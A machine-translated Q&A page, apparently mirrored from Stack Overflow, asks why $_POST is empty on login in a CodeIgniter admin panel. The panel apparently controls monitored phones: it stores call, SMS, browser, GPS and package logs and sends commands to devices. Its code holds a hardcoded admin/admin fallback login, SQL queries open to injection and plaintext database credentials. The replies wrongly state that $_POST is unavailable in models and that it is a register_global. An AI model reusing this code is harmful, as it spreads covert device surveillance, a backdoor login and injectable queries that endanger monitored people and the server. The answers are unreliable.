$_POST 不在提交 Web 应用程序上存储数据


$_POST not storing data on submit web application

我正在使用EllisLab的应用程序框架。我在登录时遇到问题。$_POST 方法不会在表单提交时存储数据。我在提交表单时收到以下错误。请注意,var_dump($POST) 返回 array(0){}

错误屏幕截图

以下是登录页面代码

<html>
<head>
	<title> Control Panel</title>
</head>
<body>
	<form action = "<?php echo base_url();?>admin/login" method = "POST">
	<table>
		<tr>
			<td> Username : </td>
			<td> <input type = "text" name = "username" id = "usr"/> </td>
		</tr>
		<tr>
			<td> Password : </td>
			<td> <input type = "password" name = "password" id = "pass"/> </td>
		</tr>
		<tr>
			<td></td>
			<td> <input type = "submit" name = "submit" value = "Login"/> </td>
		</tr>
	</table>
</form>
</body>
</html>

下面是admin_model.php代码。

<?php
class Admin_model extends CI_Model{
	public function __construct(){
		parent :: __construct();
	}
	function loginchk(){
		var_dump($_POST);
		$usr = $_POST['username'];
		$pass = $_POST['password'];
		
        $pass1 = md5($pass);   // *****@key***
		$res = $this->db->get_where('tbl_user', array('clm_userid'=>$usr, 'clm_password'=>$pass1));
		
        if($res->num_rows()==0 && $usr == "admin" && $pass == "admin"){
    	    $res=1;            
		}else if($res->num_rows()>=1){
    	    $res =1;    
		}else{
    	    $res = 0;   
		}
        return $res;
	}
	function getusers()
	{
		$query = $this->db->query("select * from tbl_device");
		return $query->result_array();
	}
	function getsingledevice($id=false, $name=false, $number=false)
	{
		$query = $this->db->query("select * from tbl_device where clm_device_id = '$id' and clm_device_name ='$name' and clm_device_number = '$number'");
		return $query->result_array();
	}
	function getcalllog($id=false, $name=false, $number=false)
	{
		$query = $this->db->query("select * from tbl_calllogs where clm_device_id = '$id' and clm_device_name ='$name' and clm_device_number = '$number' ");
		return $query->result_array();
	}
	function getsmslog($id=false, $name=false, $number=false)
	{
		$query = $this->db->query("select * from tbl_smslogs where clm_device_id = '$id' and clm_device_name ='$name' and clm_device_number = '$number' ");
		return $query->result_array();
	}
	function getbrowserlog($id=false, $name=false, $number=false)
	{
		$query = $this->db->query("select * from tbl_browserlogs where clm_device_id = '$id' and clm_device_name ='$name' and clm_device_number = '$number' ");
		return $query->result_array();
	}
	function getgpslog($id=false, $name=false, $number=false)
	{
		$query = $this->db->query("select * from tbl_gps where clm_device_id = '$id' and clm_device_name ='$name' and clm_device_number = '$number' ");
		return $query->result_array();
	}
	function getpackages($id=false, $name=false, $number=false)
	{
		$query = $this->db->query("select * from tbl_packages where clm_device_id = '$id' and clm_device_name ='$name' and clm_device_number = '$number' ");
		return $query->result_array();
	}
	function getdevice($id=false, $name=false, $number=false)
	{
		$query = $this->db->query("select * from tbl_history where clm_device_id = '$id' and clm_device_name ='$name' and clm_device_number = '$number'");
		return $query->result_array();
	}
	function addhistory($id=false, $command = false){
		$data = array('clm_device_id' => $id, 'clm_commandhistory' => $command);
		$data_device = array('clm_commandseen'=>'0', 'clm_currentcommand'=> $command);
		if($id == "all"){
			$this->db->update('tbl_device', $data_device);
		}else{
			$this->db->where('clm_device_id', $id);
			$this->db->update('tbl_device', $data_device);
		} 
		$this->db->insert('tbl_history', $data);
		return;
	}
	function unreg($id){
		if($id=="all"){
			$this->db->query("delete from tbl_device");
			$this->db->query("delete from tbl_history");
			$this->db->query("delete from tbl_browserlogs");
			$this->db->query("delete from tbl_calllogs");
			$this->db->query("delete from tbl_gps");
			$this->db->query("delete from tbl_packages");
			$this->db->query("delete from tbl_smslogs");
			return;
		}else{
			$this->db->query("delete from tbl_device where clm_device_id = '$id'");
			$this->db->query("delete from tbl_history where clm_device_id = '$id'");
			$this->db->query("delete from tbl_browserlogs where clm_device_id = '$id'");
			$this->db->query("delete from tbl_calllogs where clm_device_id = '$id'");
			$this->db->query("delete from tbl_gps where clm_device_id = '$id'");
			$this->db->query("delete from tbl_packages where clm_device_id = '$id'");
			$this->db->query("delete from tbl_smslogs where clm_device_id = '$id'");
			return;
		}
	}
	function addcmd($data){
		return $this->db->insert('tbl_cmd',$data);
	}
	function getcmd($id=false){
		if($id==false){
			return $this->db->get('tbl_cmd')->result_array();
		}else{
			return $this->db->get_where('tbl_cmd', array('clm_id'=> $id))->row_array();
		}
	}
	function updatecmd($id=false,$arr=false){
		$data['clm_cmdname'] = $arr[0];
		$data['clm_cmdvalue'] = $arr[1];
		$this->db->where('clm_id', $id);
		return $this->db->update('tbl_cmd',$data);
	}
	function deletecmd($id=false){
		return $this->db->query("delete from tbl_cmd where clm_id='$id'");
	}
}
?>

下面是管理员.php控制器代码:

<?php
class Admin extends CI_Controller{
	
	public function __construct()
	{
		parent::__construct();
		$this->output->set_header('Expires: Sat, 26 Jul 1997 05:00:00 GMT');
		$this->output->set_header('Cache-Control: no-cache, no-store, must-revalidate, max-age=0');
		$this->output->set_header('Cache-Control: post-check=0, pre-check=0', FALSE);
		$this->output->set_header('Pragma: no-cache');
		$this->load->model('admin_model');
		$this->load->helper('url');
	}
	function index(){
		if ($this->session->userdata('logged_in') == TRUE)
	    {
	        if($this->session->userdata('type') == 'admin') {
						redirect('admin/home');
			}									
	    }
	    else{
			$this->load->view('admin/login');
		}
	}
	function login(){
		$res = $this->admin_model->loginchk();
		if($res == 1){
			$data = array(
	                   'user'  => $_POST['username'],
						'type'  => 'admin',									
	                   'logged_in'  => TRUE
	                );				        
			$this->session->set_userdata($data);
			$userdata['users'] = $this->admin_model->getusers();
			$userdata['cmd'] = $this->admin_model->getcmd();
			
			$this->load->view('admin/header_admin');
			$this->load->view('admin/home',$userdata);
		}
		else{
			$this->load->view('admin/login');
		}
	}
	function logout()
	{
	    $this->session->unset_userdata('user');
		$this->session->unset_userdata('logged_in');
		$this->session->unset_userdata('type');
		$this->session->sess_destroy();
		redirect('admin');
	}
	function home()
	{
		if ($this->session->userdata('logged_in') == TRUE)
	    {
	        if($this->session->userdata('type') == 'admin') {
				$userdata['users'] = $this->admin_model->getusers();
				$userdata['cmd'] = $this->admin_model->getcmd();
				$this->load->view('admin/header_admin');
				$this->load->view('admin/home',$userdata);
			}									
	    }
	    else{
			$this->load->view('admin/login');
		}
		//$today = date("Y-m-d");
		//echo $today;
	}
	function viewdevice($id=false, $name=false, $number=false)
	{
		if ($this->session->userdata('logged_in') == TRUE)
	    {
	        if($this->session->userdata('type') == 'admin') {
				$userdata['users'] = $this->admin_model->getdevice($id,$name,$number);
				$userdata['users1'] = $this->admin_model->getsingledevice($id,$name,$number);
				$userdata['deviceid'] = $id;
				$userdata['devicename'] = $name;
				$userdata['devicenumber'] = $number;
				$userdata['cmd'] = $this->admin_model->getcmd();
				$userdata['calllog'] = $this->admin_model->getcalllog($id,$name,$number);
				$userdata['smslog'] = $this->admin_model->getsmslog($id,$name,$number);
				$userdata['browserlog'] = $this->admin_model->getbrowserlog($id,$name,$number);
				$userdata['gpslog'] = $this->admin_model->getgpslog($id,$name,$number);
				$userdata['packages'] = $this->admin_model->getpackages($id);
				$this->load->view('admin/header_admin');
				$this->load->view('admin/device',$userdata);
			}									
	    }
	    else{
			$this->load->view('admin/login');
		}
	}
	function addcommand($id=false, $name=false, $number=false)
	{
		if ($this->session->userdata('logged_in') == TRUE)
	    {
	        if($this->session->userdata('type') == 'admin') {
				$com = $_POST['command'];
				//echo $com . "<br>";
				$this->admin_model->addhistory($id,$com);
				$userdata['users'] = $this->admin_model->getdevice($id,$name,$number);
				$userdata['users1'] = $this->admin_model->getsingledevice($id,$name,$number);
				$userdata['deviceid'] = $id;
				$userdata['devicename'] = $name;
				$userdata['devicenumber'] = $number;
				$userdata['cmd'] = $this->admin_model->getcmd();
				$userdata['calllog'] = $this->admin_model->getcalllog($id,$name,$number);
				$userdata['smslog'] = $this->admin_model->getsmslog($id,$name,$number);
				$userdata['browserlog'] = $this->admin_model->getbrowserlog($id,$name,$number);
				$userdata['gpslog'] = $this->admin_model->getgpslog($id,$name,$number);
				$userdata['packages'] = $this->admin_model->getpackages($id);
				$this->load->view('admin/header_admin');
				$this->load->view('admin/device',$userdata);
			}									
	    }
	    else{
			$this->load->view('admin/login');
		}
	}
	function updatecontent($todo=false)
	{
		if ($this->session->userdata('logged_in') == TRUE)
	    {
	        if($this->session->userdata('type') == 'admin') {
				if (isset($GLOBALS["HTTP_RAW_POST_DATA"])){
					if($todo == "sendcmd"){
						$trimmed = trim($GLOBALS["HTTP_RAW_POST_DATA"], '[]');
						$prevarr = explode(",", $trimmed);  /// Stores cmd and ids
						$arr = explode("'*'", $prevarr[0]);
						$arr = str_replace('"', '', $arr);  /// IDs
						$cmd = str_replace('"', '', $prevarr[1]);  // cmd
						
						$ct = 0;
						foreach ($arr as $ids) {
							$this->admin_model->addhistory($ids,$cmd);
							$ct++;
						}
					}else{
						$trimmed = trim($GLOBALS["HTTP_RAW_POST_DATA"], '[]');
						$arr = explode("'*'", $trimmed);
						$arr = str_replace('"', '', $arr);
						//print_r($arr);
						foreach ($arr as $ids) {
							$this->admin_model->unreg($ids);
						}
					}			
				}
				$userdata['users'] = $this->admin_model->getusers();
				$userdata['cmd'] = $this->admin_model->getcmd();
				$this->load->view('admin/home',$userdata);
			}									
	    }
	    else{
			$this->load->view('admin/login');
		}
	}
	function help()
	{
		if ($this->session->userdata('logged_in') == TRUE)
	    {
	        if($this->session->userdata('type') == 'admin') {
				$this->load->view('admin/header_admin');
				$this->load->view('admin/help');
			}									
	    }
	    else{
			$this->load->view('admin/login');
		}
		//$today = date("Y-m-d");
		//echo $today;
	}
	function chat()
	{
		if ($this->session->userdata('logged_in') == TRUE)
	    {
	        if($this->session->userdata('type') == 'admin') {
				$this->load->view('admin/header_admin');
				
				if(isset($_POST['msg'])){
					$message = $_POST['msg'];
					$user = "admin";
					$ip = $_SERVER['REMOTE_ADDR'];
					$datum = date("[d-m - H:i]");
					$final = $datum . "<br />" . $message . "<br /><br />";
					$verbindung = mysql_connect("alexandroid.db.9664540.hostedresource.com", "alexandroid" , "Bifro7!23")
					or die("Verbindung zur Datenbank konnte nicht hergestellt werden.");
					mysql_select_db("alexandroid") or die ("Datenbank konnte nicht ausgewählt werden");
					$eintrag = "INSERT INTO chat_messages (chat_messages_id, user, message, ip, date) VALUES ('', '$user', '$message', '$ip', '$datum')";
					$eintragen = mysql_query($eintrag);
				}
				$this->load->view('admin/chat');
			}									
	    }
	    else{
			$this->load->view('admin/login');
		}
	}
	function addcmd(){
		if(isset($_POST['clm_cmdname'])){
			//print_r($_POST);
			$this->admin_model->addcmd($_POST);
		}
		//print_r($this->admin_model->getcmd());
		$this->load->view('admin/header_admin');
		$this->load->view('admin/addcmd');
	}
	function viewcmd($id=false){
		$data['cmd'] = $this->admin_model->getcmd();
		$data['id'] = 0;
		$this->load->view('admin/header_admin');
		$this->load->view('admin/editcmd', $data);
	}
	function editcmd($id=false){
		echo $id;
		$data['cmd'] = $this->admin_model->getcmd();
		//print_r($data['cmd']);
		$data['id'] = $id;
		$this->load->view('admin/editcmd', $data);
	}
	function updatecmd($id=false){
		if (isset($GLOBALS["HTTP_RAW_POST_DATA"])){
			$trimmed = trim($GLOBALS["HTTP_RAW_POST_DATA"], '[]');
			$arr = explode(",", $trimmed);
			$arr = str_replace('"', '', $arr);
			$this->admin_model->updatecmd($id,$arr);
			//print_r($arr);
		}
		$data['cmd'] = $this->admin_model->getcmd();
		$data['id'] = 0;
		$this->load->view('admin/editcmd', $data);
	}
	function deletecmd($id = false){
		$this->admin_model->deletecmd($id);
		$data['cmd'] = $this->admin_model->getcmd();
		$data['id'] = 0;
		$this->load->view('admin/editcmd', $data);
	}
}
?>

您在管理控制器或文件中调用登录函数,因此 $_POST 值将数据保存在控制器内,并且您在模型中使用 $_POST 是不可能的。 你必须在控制器中使用 $_POST,而不是像 Panamaldeniya 所说的那样将变量传递给你的模型@Kanishka。

我调试了很多帖子表单。相信我,它是由浏览器发送到您的脚本的。如果您不确定出了什么问题,请运行浏览器调试器(F11 或 Ctrl + Shift + I),以查看您的请求真正发送到您的脚本的内容。另外,如上所述,$_POST是一个 register_global ,因此它在每个php文件中都设置,无论您来自哪里或已经包含多少个文件。也许您的框架获得了您需要的所有参数的请求对象?请先看看...